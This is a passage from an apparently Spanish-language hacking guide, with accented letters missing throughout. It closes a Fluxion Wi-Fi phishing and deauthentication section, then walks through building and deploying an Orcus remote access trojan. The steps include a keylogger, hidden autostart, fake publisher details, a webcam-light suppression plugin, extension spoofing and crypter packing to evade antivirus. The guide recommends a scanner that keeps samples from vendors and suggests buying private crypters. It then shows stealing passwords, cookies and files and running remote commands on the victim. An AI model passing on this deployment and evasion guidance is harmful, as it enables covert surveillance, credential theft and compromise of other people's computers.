anteriores a varios parmetros de configuracin y dejando las interfaces de red tal cual
antes de haber sido inicializado:
Imagen 13.7: Cierre de Fluxion.

Como se vio en esta demostracin, la obtencin de passwords de Routers inalmbricos


con seguridad WPA/WPA2/WEP resulto bastante fcil y rpida, sin tener que recurrir a usa la
Fuerza Bruta y que nos tome mucho tiempo o que simplemente no podamos obtenerla por
otras limitantes.

Cabe destacar que el uso de Fake Access Points o Honeypots resulta bastante eficiente
para cumplir propsitos de este tipo, asi como el uso de ingeniera social para persuadir a la
vctima a ingresar a portales falsos, ejemplificando aqu su uso para persuadir a la/las vctimas
a proporcionar contraseas de redes Wi-Fi con tal de seguir navegando en internet.
EXTRA: Como se mostr a lo largo del ejercicio, se vieron involucradas acciones de ataque
tipo Denial of service al montar el Fake AP, esto quiere decir que Fluxion puede hacer un
ataque de tipo deauth haca una red en especfico, aunque esta no sea su finalidad, resulta
til en escenarios como los antes descritos en los ejercicios de DoS, y ms porque Fluxion
automatiza la mayora del proceso, solo basta con seguir los pasos anterior hasta la captura
de los Handshakes o hasta la creacin del AP Falso si es que queremos ver qu dispositivos
se estn expulsando.

Solo bastar con seleccionar la red objetivo y el mtodo de captura de Handshake (mtodo
deauth), siendo mdk3 el ms eficiente:

Imagen 13.8, 13.9 y 14.0: DoS hacia una red mediante Fluxion.
Administracin remota mediante
RATs (Troyanos de Acceso
Remoto).
Siendo estos potencialmente peligrosos para muchos sistemas informticos, los RATs (Remote
Access Trojans) por su traduccin al ingls, son piezas de software que nos permiten llevar a
cabo una infeccin mayormente perjudicial, consiguiendo as acceso no autorizado al ordenador
de la vctima, abrindonos la puerta para poder realizar tareas de monitoreo (surveillance), robo
de informacin sensible, como lo son passwords, informacin personal, tarjetas de crdito, etc.
Los RATs tienen el potencial de recolectar sumas cantidades de informacin de varios equipos
o personas, por lo que si un equipo ha sido infectado por algn software de este tipo, toda o mucha
informacin personal que se encuentre dentro de este habr sido comprometida.

Los RATs tambin tienen su lugar en el mundo laboral o corporativo, ya sea que eres
administrador o jefe de sistemas, o de algn rea en especfico y estas a cargo de ciertos equipos
y las polticas del trabajo mencionan que el personal est sujeto a monitoreo constante en horas
laborales, este tipo de herramientas de administracin remota pueden ser tu solucin, ya que
pueden ser utilizadas para revisin constante de las tareas que se llevan a cabo en el quipo
mientras el personal lo usa.
Cmo difieren los RATs de otros troyanos?

La diferencia clave entre keyloggers, troyanos y dems malware de uso local, es que un RAT nos
permite tomar acceso hacia la maquina victima mediante especiales protocolos de
comunicacin que son configurados como parte de la infeccin inicial en el equipo objetivo. Esta
puerta trasera o Backdoor permite el acceso sin restricciones dentro del equipo vctima,
consiguiendo as el monitoreo de esta persona o el del equipo, hacer keyloggin, explorar
archivos, cambiar configuraciones, hacer uso de la conexin a internet o ancho de banda de este
ordenador para actividades ilcitas, convertir esta mquina en un zombie para hacer un ataque
DDos, y mucho ms.

En este captulo se ejemplificar el uso y funciones de diferentes troyanos de acceso remoto, estos
sern Orcus y Luminosity Link, siendo estos unos de uso recomendable, puesto a que cuentan
con extenso repertorio de funciones para llevar a cabo tareas de post-explotacin y que ofrecen
una estabilidad mayor a diferencia de otros RATs o herramientas de administracin remota.
Comenzando nuestra aproximacin.

Como se mencion antes los RATs son herramientas diseadas con la finalidad de ejecutar
acciones especficas va remota y tener privilegios administrativos superiores, puesto a que
tienen una extensa capacidad de ejercer control y acciones (algunos RATs, no todos). Gracias
esto, este tipo de software es utilizado con fines malintencionados por ello, son catalogados como
malware.

Parte esencial y necesaria al construir nuestro binario (cliente) es la configuracin


Client/Server (como lo es en todos los RATs), a diferencia de los binarios y dems malware que
operan a nivel local en una red, estos difieren a la configuracin de un RAT, el equipo atacante
funcionara como un Servidor y las victimas como Clientes:

Imagen 14.1: Arquitectura de Orcus RAT.

Sabiendo esto, es momento de crear nuestro cliente RAT.

Qu necesitars par este ataque?

Las 2 mquinas virtuales con Windows 8.1 que se te proporcionaron.


Orcus Remote Admin Tool.
Conexin a internet (una buena es recomendable)

Dentro del material proporcionado para el captulo 2, encontrars los 2 primeros elementos para
trabajar con esto.
NOTA: Las pruebas documentadas a lo largo de este captulo se realizaron en un servidor privado
virtual (VPS), mediante el acceso por escritorio remoto, por lo que si deseas alquilar algn VPS
para hacer estas pruebas sin tener que usar el RAT desde tu sistema operativo nativo, puedes
hacerlo de esta forma, o puedes trabajarlo desde las mquinas virtuales con Windows
proporcionadas.
Configuracin de un RAT.

Una vez estando en el equipo Windows, copiamos el contenido de la carpeta Orcus hacia esta,
hecho eso abriremos Orcus.

Imagen 14.2 y 14.3: Ubicacin de herramienta, panel de Conexin y opcin para crear un nuevo servidor.

Al abrirse lo primero que se mostrar ser este panel para poder conectarse a un servidor, una
ventaja que tiene Orcus es que a donde lo lleves se conectar al server que fue creado, solo
basta con ingresar la direccin IP, puerto correspondiente y password proporcionados, esto lo
haremos con posterioridad, por ello, primero debemos crear el server antes mencionado, esto
desde la opcin remarcada Create new server:

Imagen 14.4: Configuracin del servidor

En esta nueva ventana ingresaremos la direccin IP correspondiente, en este caso hablamos del
equipo Windows que est en uso, otra ventaja de Orcus es que te permite crear un servidor con
las direcciones IP que requieras, en este caso solo usaremos una, tambin asignaremos un
puerto que se encuentre abierto en el equipo, uno comn es el 80, que es donde corre el servicio
HTTP, aunque puedes escoger otro puerto (abierto).
Al tener los datos necesarios pulsaremos ADD para agregarlos a la lista del Server, es
importante esto, ya que sin ello el server creado no tendr utilidad alguna, terminado eso,
ingresaremos un password, este password servir como factor de autenticacin para iniciar
nuestro trabajo con la plataforma de Orcus, cabe destacar que cada que genere un server, ser
necesario proporcionarle un password, ya que con este ingresaremos al panel de trabajo de
Orcus, hecho esto escogeremos que trabajaremos sobre la interfaz grfica (GUI) de Orcus, con
esto ltimo listo, crearemos el Server con BUILD, al hacerlo nos preguntar en donde vamos a
guardarlo, al momento de crearse, ORCUS hace una nueva carpeta en su directorio
nombrada server, que ser donde la guardaremos, hecho esto, abrimos el archivo
Orcus.server:

Imagen 14.5 y 14.6: Seleccin de interfaz para configuracin y generacin de archivo de configuracin para el server.

Al hacerlo se mostrarn datos relevantes a la configuracin que establecimos previamente, como


lo es la direccin IP, puerto asignado y password, tambin vemos 2 recuadros, uno nos muestra
un breve resumen o Summary acerca de la actividad llevada a cabo hasta ahora en el server,
en donde nos indica que el Listener ha comenzado en l, tambin tenemos otro recuadro en donde
nos indica el Status del server, como lo es el nmero de admins, de clientes conectados y si est
en funcin.

Imagen 14.7: Adicin del listener y password.


Los Servers son creados en la maquina atacante/administradora, el cdigo de este server
trabajar en conjunto con el cdigo del cliente, interpretando a un socket, estos binarios (clientes)
se distribuyen a distintas maquinas o a un solo objetivo, una vez estando ah y ejecutados, estos
establecern una conexin hacia el servidor (atacante/administrador) y estarn a la espera de
comandos y acciones por ejecutar.
El lado de server (administrador) nos provee de una interfaz grfica para trabajar con todas las
conexiones establecidas o provenientes (Clientes/Vctimas), otorgando control suficiente sobre
el sistema y la capacidad ejecutar numerosas tareas, para esto, tendremos que ingresar a la
plataforma de trabajo de Orcus, esto se hace desde el primer panel que se mostr, en donde
ingresaremos la direccin IP y password que se configuraron durante la creacin del server:

Imagen 14.8 y 14.9: Conexin a servidor y panel de administracin con opcin Build.

Estando en la plataforma, a simple vista podremos notar que este software cuenta con mltiples
funciones, pero en realidad tiene ms de lo que puedes imaginar y explicar todas y cada una de
estas, as como todo el funcionamiento y modo de uso del RAT tomara un libro completo, por lo
que veremos las acciones ms importantes. Para poder crear nuestro cliente (binario/troyano)
usaremos la opcin Build que la parte superior izqda. de la ventana.

Dentro nos toparemos con una serie de pasos/protocolos de creacin para este binario, siendo
el primero la configuracin general (General Settings), en donde se especifica el grupo
identificador de clientes (Tag), el Mutex que es para establecer que una sola instancia del cliente
corra en el sistema, este puede dejar tal cual o generar de forma aleatorio (random), el Keylogger,
es recomendable dejarlo habilitado, y los privilegios, habilitar esta opcin hace que al momento
de la ejecucin del binario se adquieran privilegios administrativos:
Imagen 15.0: Configuraciones generales.

El segundo paso ser establecer los parmetros de configuracin de la conexin, en esta parte
solo aadiremos la direccin IP y puerto previamente asignados al servidor (Nosotros), para
establecerlos solo presionamos en ADD, es importante hacerlo, de lo contrario no servir nuestro
troyano:

Imagen 15.1: Configuracin en el apartado de Conexin.

El tercer paso es configurar las medidas de proteccin para el binario a crear, en esta nueva
ventana tendremos mltiples parmetros opcionales en donde podrs personalizar estos
parmetros a tu gusto, de las 3 opciones solo estarn las 2 primeras habilitadas por default en
este ejemplo deshabilitaremos la primera puesto a que este binario lo ejecutaremos en una
mquina virtual. Por lo que solo utilizaremos la segunda opcin, para hacer que una tcnica
Anti-Debugging acompae al binario:

Imagen 15.2: Configuracin d medidas de proteccin para el binario.

El paso numero 4 ser configurar la instalacin del cliente (binario), aqu nos proveen de
mltiples opciones de configuracin, como lo es el lugar/directorio raz donde residir el
cliente/troyano, si queremos ocultarlo de ah, cambiar la fecha de creacin de este, forzar la
obtencin de privilegios administrativos al momento de la instalacin, el auto-inicio del mismo
y el nombre con el que se identificar:
Imagen 15.3: Apartado de instalacin.

El quinto paso (Opcional) ser aadir informacin del ensamblaje o produccin del software, aqu
podemos aadir informacin adicional a nuestro binario, como es el nombre, compaa,
producto, versin de este, copyright y dems detalles que lo pueden hacer lucir como una pieza
de software legtimo y confiable, en este caso se ingresaron los siguientes datos, solo es necesario
habilitar la opcin Change Assembly Information, o si se tiene esta informacin lista en un
archivo, solo se carga desde la opcin LOAD FROM FILE:

Imagen 15.4: Apartado para informacin de ensamblaje.

El paso numero 6 ser la adicin de Plugins, estos nos sirven para agregar funciones extra con
el fin de proporcionar cierto apoyo a las tareas de post-explotacin/monitoreo, como lo es en
este caso el no encender la luz de la Webcam al momento de acceder a esta.
NOTA: Este plugin solo funciona en ciertos componentes de hardware (laptops), por lo que no
puede funcionar en otros, sin embargo no est de ms tomarlo en cuenta:

Imagen 15.5: Plugin Seleccionado.


El sptimo y ltimo paso es generar el viario mediante el Builder parchar o corregir errores que
ocurren durante la compilacin de nuestro binario, como lo son bugs en el cdigo, visualizaciones
no deseadas del source-code, etc. Para esto, hay apartado de Patches para instalar al en el
binario, para lo anterior seleccionaremos la opcin Orcus Patcher y para esconder la extensin
del binario ejecutable usaremos Extension Spoofer.

Opcional: Si se quiere cambiar el icono del binario podemos escogerlo desde la opcin Change
Icon.

IMPORTANTE: La seleccin del Framework objetivo es crucial para el xito de la explotacin de


la vctima, ya que en base al framework escogido mayores posibilidades de lograr el xito/infeccin
conseguiremos. El compilador o Builder de Orcus puede construir el binario en los 3 tipos de
.NET Framework, 3.5, 4.0, 4.5 por ello tendremos que escoger alguno, en este caso se escogi el
3.5:

Imagen 15.6 y 15.7: ltimos detalles y seleccin de Framework de .NET

Teniendo seleccionado el Framework de .NET, mediante la opcin BUILD haremos la


compilacin del troyano y lo guardaremos con el nombre y en el lugar de nuestra preferencia.
Familiarizndonos con un Crypter.
Como es de esperarse, este binario saldr con una forma comn y simple, con la diferencia de que
se le agreg algo de informacin de ensamblaje mediante Orcus pero hasta ah, no tiene icono, no se
le ha hecho con ningn Modding para ofuscar los patrones o bloques del cdigo con el fin de
conseguir la evasin de sistemas de seguridad o antivirus (Fudding).

Lo que significa que la forma de conseguir la infeccin con este ejecutable es que nosotros mismos lo
hagamos llegar al equipo vctima, desactivar protecciones, y ejecutarlo, o convencer a una persona
bastante ignorante para que haga todo esto (idea absurda). Pero antes de que intentemos esto habr
que saber que tan amenazante resulta este binario.

Esto lo sabremos mediante plataformas de escaneo online, estas resultan bastante tiles al
momento de realizar este tipo de pruebas/ataques. El modo en el que funcionan es bastante simple,
en esta plataforma se hospedan mltiples computadoras cargadas con los diferente software de
proteccin (antivirus), en donde al momento de cargar nuestra muestra de software/malware ser
analizado por todos estos antivirus (35), al terminar este proceso se mostrar un resumen de los
resultados indicando detalles como el ndice de deteccin, MD5 y los antivirus que encontraron esta
muestra perjudicial y los que no encontraron nada. En este ejemplo utilizaremos la plataforma de
NoDistribute, visitando https://nodistribute.com/. Formatted: Default Paragraph Font, Font: (Default)
+Body (Calibri), 10 pt, (Asian) Japanese
IMPORTANTE 1: NoDistribute (como su nombre lo indica) no distribuye las muestras enviadas ni
tampoco los resultados obtenidos, ya que es comn que otras plataformas como
https://www.virustotal.com/ distribuyan estos resultados a las casas antivirus, lo que resulta perjudicial Formatted: Default Paragraph Font, Font: (Default)
para nosotros porque as estas tendrn en sus bases de datos el cdigo que compone a este software, +Body (Calibri), 10 pt, (Asian) Japanese

por lo que costar ms trabajo lograr la evasin de antivirus (FUD) para nuestro malware, por lo que
es altamente recomendable utilizar solamente esta plataforma.

Al ingresar al sitio web, cargar nuestra primera muestra de malware y enviarla, los resultados
aparecern mostrando los detalles anteriormente mencionados:

Imagen 15.8: Resultados de plataforma de escaneo.

Podemos notar que 17 de los 35 antivirus operando en la plataforma categorizaron nuestro


software como malware, lo que quiere decir que casi el 50% de estos lo detect y est muy lejos
de pasar desapercibido en muchos equipos convencionales/profesionales y va a requerir algunos
cambios en su arquitectura.
IMPORTANTE 2: Estos resultados que se muestran son los que se consiguieron a la fecha
en la que se redact este libro, por lo que en un futuro pueden cambiar, o mientras ests leyendo
esto estn cambiando notable o drsticamente estos resultados. Cabe mencionar que no porque
nosotros utilicemos esta plataforma para analizar nuestras muestras de malware quiere decir que
no exista la posibilidad de que el cdigo no llegar a las BD de las casas antivirus, ya sea porque
alguien ms lo est distribuyendo, lo estudiaron en los laboratorios o mil razones por las que lo
tengan, har que nuestro ndice de deteccin aumente (An con Fudding).

Lo que quiere decir que el mtodo de evasin de todos o ciertos antivirus ya no es funcional, por
lo que habr que encontrar otra forma de lograrlo, la solucin ms comn para esto es comprar
un crypter privado, existen varios y diferentes sitios/medios para conseguirlos, pero queda bajo
tu responsabilidad la forma en que lo compres (o intentes) puesto a que hay mucho fraude en
cuanto a la venta de software de este tipo, por lo que te recomiendo tener muchsimo cuidado y
ser precavido en los sitios donde vayas a querer comprar o intentar comprar algo, ya sea mediante
PayPal, Bitcoin o algn otro mtodo de pago.
Volviendo al troyano y los cambios a realizarle, durante este ejemplo haremos uso de un Crypter,
existen muchos de estos, unos ms completos/complejos que otros, sin embargo todos tienen una
finalidad u objetivo en comn; conseguir cifrar archivos o tratar de hacer FUD (Full
Undetectable) algn, bloque de cdigo, script, binario o ejecutable con el fin de conseguir la
evasin de sistemas de proteccin informticos, esto puede conseguirse mediante diferentes
tcnicas, ya sea mediante la ofuscacin del cdigo y sus componentes del binario, mediante
alguna tcnica Anti-Debugging, entre otras.
En este ejemplo utilizaremos un Crypter llamado Masked Crypter, este viene dentro del material
proporcionado para este captulo y ser nuestra herramienta para brindarle a nuestro binario las
caractersticas ya mencionadas, abrirs la aplicacin y seguirs los siguientes pasos:

Dentro de Masked Crypter, habr 3 campos importantes; el que har el Browsing del archivo a
realizar Modding, otro que har Browsing de un icono para este, ya que es obligatorio y otro
que es un generador de caracteres aleatorios proporcionando as un Mutex, puede generar
cuantos quieras y escoger solo uno. En cada campo haremos la accin correspondiente.

Del lado derecho nos encontramos con un pequeo panel de opciones para realizar el Modding
con el Crypter, de las cuales solamente escogeremos la primera, tercera y quinta opcin.

De las opciones seleccionadas; Remove Zone ID nos permite hacer bypass al recuadro pop-
up que aparece al momento de correr un .exe, Pack With UPX consigue una excelente relacin
de compresin y ofrece una descompresin muy rpida, asi el binario no sufrir ninguna
sobrecarga de memoria u otros inconvenientes, adems de que ayuda a ofuscar el cdigo,
y .NET Support nos proporciona ciertos bloques de cdigo para conseguir compatibilidad
con .NET, y por ultimo hacemos clic en Crypt, para realizar el Modding del binario y guardarlo
con las caractersticas anteriores, obvio podrs cambiarle el nombre con posterioridad:
Imagen 15.9: Configuracin de crypter para el binario.

Terminado lo anterior enviremos este nuevo binario a la plataforma de escaneo de


https://nodistribute.com/ en donde se obtuvieron los siguientes resultados, en donde ahora solo
5 de 35 antivirus encontr perjudicial a nuestro nuevo binario, ahora solo el 15% de toda la
plataforma lo cataloga como malware, fue un resultado mucho mejor:

Imagen 16.0: Resultados arrojados ahora con Crypting.

Teniendo compilado este troyano, es momento de hacerlo llegar al equipo que se quiere administrar
de forma remota, en este caso hablamos de la VM con Windows, como ya se sabe, estamos usando
un ambiente controlado en esta prueba, por lo que solo se transferir el binario y se ejecutar
manualmente.

NOTA: Para esto hay mltiples y diversas formas de infeccin, ya sea mediante correo electrnico,
binders, ingeniera social, entre otras, por lo que estar a tu eleccin el vector de infeccin por el que
en un futuro logres conseguir comprometer algn equipo real.
Teniendo el binario en el equipo vctima se ejecutar, y a simple vista no ocurrir nada, solo un ligero
resalte en el brillo del cono de binario al momento de correrlo.

Mientras que en la maquina atacante/administradora, de lado de Orcus en el panel principal de la


plataforma de trabajo, habremos encontrado un nuevo Slave (victima/cliente), as como tambin
notaremos esta actividad en la ventana de Orcus. Server, mostrando los detalles de la conexin de
este nuevo cliente:

Imagen 16.1: Cliente registrado gracias a la ejecucin.

En el panel principal de Orcus tambin se est indicando todo esto es en la barra de monitoreo; la
conexin establecida en Orcus y la conexin encontrada de un nuevo cliente (victima).

Debajo de ella encontrremos detalles de esta accin como lo es la hora, sistema operativo,
Username (nombre con el que se identifica el Host), sistema operativo y pas si es posible obtener
este dato. Para poder trabajar con este nuevo cliente, debemos hacer clic derecho en su seleccin y
entrar mediante Log In, al hacerlo notremos ms actividad en la barra de monitoreo:

Imagen 16.2 y 16.3: Nuevo cliente y sus detalles en lista de Esclavos.


Usage del RAT y monitoreo de un cliente/robo de informacin de una vctima.

Una vez accedido al equipo mediante esta funcin, entraremos al panel de trabajo del cliente en
Orcus, en donde veremos una diversidad de funciones y acciones que se pueden llevar a cabo
en/sobre este cliente, puesto a que hay muchsimas de estas funciones, habra que escribir uno o
dos captulos sobre el total uso de ellas, por ello, solo veremos las ms interesantes.
Lo primero qu notremos ser la categora CLIENT, situndonos en el sub-panel Control
donde encontrremos detalles ms especficos sobre el S.O del cliente, como lo es la version del
Framework de .NET, tiempo activo desde la primera vez comprometido, directorio raz del
troyano, adems de la opciones de desinstalar el troyano o solo matar esta conexin, etc:

Imagen 16.4: Detalles del sistema infectado.

Dentro del sub-panel Config nos toparemos con la configuracin que reside en el cliente, est
no tiene que ver precisamente con la configuracion que se halla en el equipo infectado, sino de la
de nuestro binario/cliente, presentndonos un resumen o Summary acerca de las caractersticas
de este, notaremos que se hallan todas las que estuvieron involucradas en la parte del Builder:

Imagen 16.5, 16.6 y 16.7: Configuracin a detalle del sistema infec.


Un ltimo detalle acerca de esta primera categora es el sub-panel de plugins este solo muestra
el o los plugins que fueron seleccionados durante la creacin del binario y por ende, los que
quedaron instalados en el lado cliente, en este caso mostrando el de Anti-Debugging:

Imagen 16.8: Plugin que contiene el binario.

Pasando a otra categora, Information nos permite saber detalles ms precisos sobre el uso de
est equipo, como lo son las conexiones existentes o activas entre cliente y servidor, la captura de
passwords y cookies en el equipo cliente y el monitoreo del rendimiento. El Summary de las
conexiones activas puede resultar muy til si se piensa llevar una bitcora o si se desea revisar
ciertos parmetros aqu encontrremos esta informacin, indicando el proceso, las direcciones
locales y remotas sobre las que se establezca esta conexin, el protocolo y el estatus de esta, y
por su puesto los datos de esta accin en la barra de monitoreo:

Imagen 16.9 y 17.0: Conexiones activa, proceso y dems detalles sobre esto en el equipo ajeno.

Cambiando a la funcin siguiente, desde el sub-panel Computer podemos saber detalles ms


especficos acerca de los componentes de este equipo cliente, mostrando Hardware, info acerca
del sistema, OS, BIOS, particiones o HDD, entre lo ms interesante nos encontramos con cosas
como el Owner (email que se usa para la cuenta Windows) y detalles acerca del disco duro:
Imagen 17.1 17.6: Informacin muy detallada acerca del equipo infectado.

Por otro lado tenemos la funcin Performance dentro podemos hallar info acerca del rendimiento
del equipo, como lo es el % del uso del procesador mostrando un grfico de ello, modelo y
velocidad del procesador nmero de hilos o Threads, procesos que corren actualmente, tiempo
activo y dems.

Muchas funciones de los sub-paneles habr que habilitarlas mediante el switch Azul del lado
derecho, de lo contrario no podrs hacer uso de ellas:

Imagen 17.7: Monitoreo del rendimiento del equipo infectado.

Dejando un poco atrs los detalles sobre el cliente, pasemos a algo ms interesante y entretenido,
como es de esperarse, herramientas como los RATs puede hacer un sinfn de cosas, sin embargo,
no est de ms mencionar que hay unos que estn mucho ms completos que otros por
cualquier lado que los veamos, y Orcus no es la excepcin aqu.

Dentro de las categoras de funciones nos topamos con Fun (diversin), esta cuenta con
funciones que se llevan el ttulo como su categora lo indica, aqu es donde podemos tomar
acciones algo perjudiciales como molestas para el usuario, sin embargo tienen utilidad en
casos reales de monitoreo y espionaje.

Como primer ejemplo de uso, cabe mencionar que muchos RATs no cuentan con esta funcin, y
Orcus la trae consigo, abriremos con la funcin que nos permite enviar/reproducir un dictado
con distintas voces (masculinas/femeninas) en el equipo cliente/victima, solo basta con teclear
el texto a dictar, seleccionar la voz, velocidad de reproduccin y volumen y enviarlo con SEND.
Comnmente esto es usado con el fin de causar molestias al usuario, o en casos de monitoreo en
un lugar de trabajo el administrador lo usa para dar avisos o notificaciones ms a detalle o
personales al usuario/cliente.

Imagen 17.8 y 17.9: Funcin de Texto dictado sobre equipo infectado.

Otra funcin con la que cuentan casi todos los RATs es la de un Chat Box, y Orcus (obviamente)
cuenta con una ms completa que los dems, en donde lejos de enviar un simple recuadro para
transferir mensajes, te ofrece muchas ms funciones para poder trabajar sobre ello.

Entre ellas esta el poder colocar el ttulo de la ventana, el nombre o nickname (tuyo), evitar que se
cierre, maximizarla permanentemente y minimizar las dems ventanas cuando aparezca este Chat
Box, para poder usar esta funcin debers habilitar esta funcin con el Switch Azul del lado
derecho, en la siguiente pgina encontrars su modo de uso, consulta las imgenes:

Imagen 18.0 y 18.1: Funcin de Chat entre Cliente/Servidor.


Aun estando en la categora Fun, pasremos al sub-panel Common en donde nos topremos
con ms funciones que trae consigo Orcus, en este sub-panel podremos involucrar
directamente nuestras acciones con las aplicaciones del equipo, como lo es el navegador
web predeterminado, adems de poder cambiar el wallpaper de la pantalla tan solo con
proporcionar el URL de una imagen, apagar el monitor, conseguir el Crashing del sistema,
mostrando el Pantallazo Azul o congelar el sistema mediante la sobrecarga de procesos: .

En este primer ejemplo se demostrar el abrir de un sitio web en especfico y el nmero de


ventanas con el que se repetir esto, solo basta con escribir el URL, indicar el nmero de ventanas
que quieras y lanzarlo mediante DO IT!. Al hacerlo se llevar a cabo lo antes descrito en el
equipo cliente/victima, cada vez que se ejecute una accin ya sea que falle o no, se mostrar la
actividad en la bitcora de la barra de monitoreo.

Imagen 18.2 18.4: Funciones de categora Comn y sitio web abierto por indicacin remota.

Tambin se puede podemos crear Reminders (Notas), con un texto en especfico, lo que har
esto simplemente ser abrir un bloc de notas con el texto enviado, solo basta con escribirlo y
enviarlo con Send. Una funcin ms en la categora User Interaction es que podemos crear
notificaciones o tips mediante un globo (Ballon), ya sea de tipo aviso, info, recordatorio, alerta,
etc, obviamente con el ttulo y texto que queramos poner durante el tiempo establecido en
milisegundos, en este caso 10,000:
Imagen 18.5 18.7: Funcin de Globo de aviso y accin guardada en el Log.

Otras funciones tiles en casos en los que el administrador/atacante no tenga nada que hacer son las
siguientes, de las cuales se puede sacar fcilmente de quicio a alguien, la primer funcin (Rotate
Monitor) es bastante simple, cambia la posicin del monitor en los grados disponibles, el detalle es
que no funciona en ambientes virtualizados ya hay recursos que no pueden compartir o migrar del
sistema nativo al virtual, como lo es la tarjeta de grficos, en cambio s se intenta en un equipo real,
funcionar a la perfeccin.

En cambio, Pure Evilness, nos da un poco ms de diversin sin mayor problema, aqu nos
encontramos con 2 botones, LET IT BURN y WATER, WATER!, la primera hace que esto comience
y la otra lo detiene, solo lo detiene, no lo repara.

Veamos que sucede en el equipo cliente luego de esto:

Imagen 18.8 y 18.9: Opciones de uso y Funcin de ataque Pura Maldad.


Si queremos detener lo que iniciamos habr que vaciarle agua a esto, lo detenemos con
WATER, WATER!

Imagen 19.0 19.2: Correccin de accin de ataque Pure Evilnes

Qu es lo que ha pasado? Lo que hace esta divertida pero desquiciante funcin es, tomar un
Screenshot del Desktop, rotar la imagen 180 y establecerlo como wallpaper, luego esconder la
barra de tareas e conos, as el usuario creer que la barra de arriba es funcional, pero en realidad
es una imagen, limitando bastante al usuario en cuestiones de funcionalidad. Al momento de
detener esto aparecer la barra de nuevo y se colocar en su lugar, con el detalle que el escritorio
esta hecho un asco.
De las funciones vistas hasta ahora en la categora Fun, en lo personal mi preferida es esta, as
que pasemos a algo ms divertido (y puede que muy perjudicial/peligroso).

El uso del Screamer, es una divertida funcin hace que en milisegundos se bloque el equipo y
en pantalla completa aparezca una animacin con gritos de fondo y a un volumen demasiado alto
en donde se muestra un rostro algo bizarro y la nica forma de detenerlo es con la combinacin
simultnea de teclas Ctrl + Shift + V.

Esto puede resultar en algo grave asi que te recomiendo al menos ser selectivo con quienes la
usas/usars, adems de que Orcus te da una advertencia de ello, el uso de esto queda bajo tu
propia responsabilidad:
Imagen 19.3, 19.4 y 19.5: Inicio, funcin y detencin de Screamer.

Otras funciones que se pueden llevar a cabo dentro de esta misma categora son las que pueden
hacer simples pero molestos cambios sobre el sistema, como lo es deshabilitar y habilitar el
administrador de tareas (Task Manager), esconder o mostrar el reloj y escritorio.
Tambin hay otras que te permiten interactuar con el Hardware del cliente, como lo es el teclado
y mouse, haciendo que este se mueva de forma errtica o se bloque por N segundos, o cambiar
el input del teclado (QWERTY por AEIOU y viceversa entre otros), obvio esto no se puede
mostrar de forma adecuada con imgenes, en cambio, si estas acciones se llevan a cabo con
xito, se mostraran en la barra de monitoreo:
Imagen 19.6 y 19.7: Funcione sobre la barra de tareas del equipo ajeno.

Como se demostr en los ejemplos anteriores, la categora Fun de Orcus cuenta con una vasta
diversidad de tiles funciones y caractersticas Divertidas que hacen que se ejerzan con
facilidad mltiples acciones de este tipo sobre el equipo cliente, desde abrir cuadros de dilogo,
avisos, y cosas molestas de ese tipo, hasta poder conseguir el Crashing del sistema o
Congelarlo (HANG), dejndolo inhbil temporalmente, todo desde una solo plataforma de
trabajo (Como tambin lo ser en las otras categoras)

Dejando atrs la parte de juegos, pasaremos a una categora ms funcional y til para nuestro
propsito, que es el ejercer control sobre el equipo cliente, aqu es cuando pasamos a la categora
SYSTEM.

Sobre esta, se pueden llevar a cabo cosas interesantes, como la ejecucin remota de cdigo
(muy perjudicial), hacernos de una consola sobre el cliente, explorar registros, explorar archivos
con el fin de solo verlos, o descargar o cargar algo al equipo (muchas posibilidades), interactuar
ms a fondo con los programas existentes en el equipo vctima y muchas otras cosas, y por ello,
antes de continuar con otra categora, habr trabajo por hacer aqu.
La segunda funcin que encontraremos aqu es la de Console, no hace falta una larga
explicacin sobre esta, ya que solo nos proporciona una terminal de comandos CMD sobre
el cliente desde esta plataforma, solo basta con habilitarla y ejecutar los comandos que quieras,
en este ejemplo se ejecut el comando dir:

Imagen 19.8: Funcin de la consola (CMD) sobre el quipo ajeno.


Una funcin ms aqu es la de poder consultar/ver el Event Log del equipo cliente.

Qu es y para qu nos sirve esto?

En Event Log es bsicamente un libro de registros que puede ser analizado con fines de obtener
un nivel superior de inteligencia (informacin) en la red, como pueden ser sucesos en
aplicaciones, errores en estas, procesos, y ms detalles a fondo sobre estos registros.
En redes o networking una forma de apoyo para poder proveer informacin detallada sobre
ciertos registros, parmetros o Usage en la red o equipo es el Event Log. Este almacena los
datos anteriores o semejantes a estos, con el fin de que sea posteriormente consultado por
administradores de sistemas, sistemas de seguridad o por profesionales en seguridad.

Todo esto es con el fin de manejar distintos aspectos como, performance (rendimiento) o seguridad
y transparencia, hay herramientas como analizadores o visualizadores de registro de eventos
(como el que veremos).

Si eres administrador de sistemas o estas a cargo de un grupo de trabajo, con herramientas de


este tipo podrs ver un panorama ms extenso de lo que ocurre en la red o en un equipo
cliente. En Orcus solo basta con seleccionar esta opcin y automticamente har el Fetching o
recoleccin de estos registros, arrojndolos a la tabla qu se muestra y enviando esta accin a la
barra de monitoreo. Consulta las imgenes.

Imagen 19.9: Registro de eventos del equipo ajeno.


Entre las funciones de esta categora nos topamos con una que resulta altamente til y que todos
en algn momento hemos buscado o querido usar en un cierto modo, as es como le damos la
entrada el explorador de archivos en Orcus, siendo este diferente a los de otros RATs, luce y es
ms funcional que otros puesto a que resulta ms estable tanto en la exploracin de directorios
como son las descargas y cargas de archivos.

Para esto solo basta con abrir el sub-panel File Explorer, seleccionar la particin o disco
correspondiente y buscar el o los directorios sobre los resultados que se muestren en la tabla, si
se quiere trabajar sobre un dicho directorio solo basta con hacer clic derecho en el para seleccionar
una accin sobre l, en este caso ser la descarga de un directorio, mostrando una columna del
status y progreso de la o las descargas que se estn llevando a cabo, al terminar estas, en el
directorio raz de Orcus se crear una carpeta nombrada Downloads. Consulta las imgenes:

Imagen 20.0, 20.1 y 20.2: Bsqueda y descarga de archivos ajenos del equipo infectado.

Algo ms a lo que podemos sacar ventaja son las descargas forzadas, es decir, obligar al cliente
a realizar una descarga en especfico, desde una imagen hasta algn archivo ms perjudicial,
esto se puede llevar a cabo desde el sub-panel Internet, en donde podemos ingresar una URL
determinada y realizar esta descarga, adems de que podemos hacerlo en masa o
simultneamente:

Imagen 20.3: Funciones para interactuar con internet.


Pasando a otra funcin que puede llevar a cabo tareas de carcter administrativo como algunas
que se han visto hasta ahora, en el sub-panel Programs nos encontraremos con algo similar,
esta funcin nos permite ver el listado de programas instalados exclusivamente por el cliente, como
puede ser software de trabajo, navegadores web u otras aplicaciones comunes indicando detalles
como la versin, llave correspondiente al Registry y directorio en donde reside la instalacin de
este software.
Al abrir esta funcin tendremos que hacerle un Refresh al sub-panel para que enumere y
describa en una lista el software adicional encontrado, del cual podemos hacer cambios, como lo
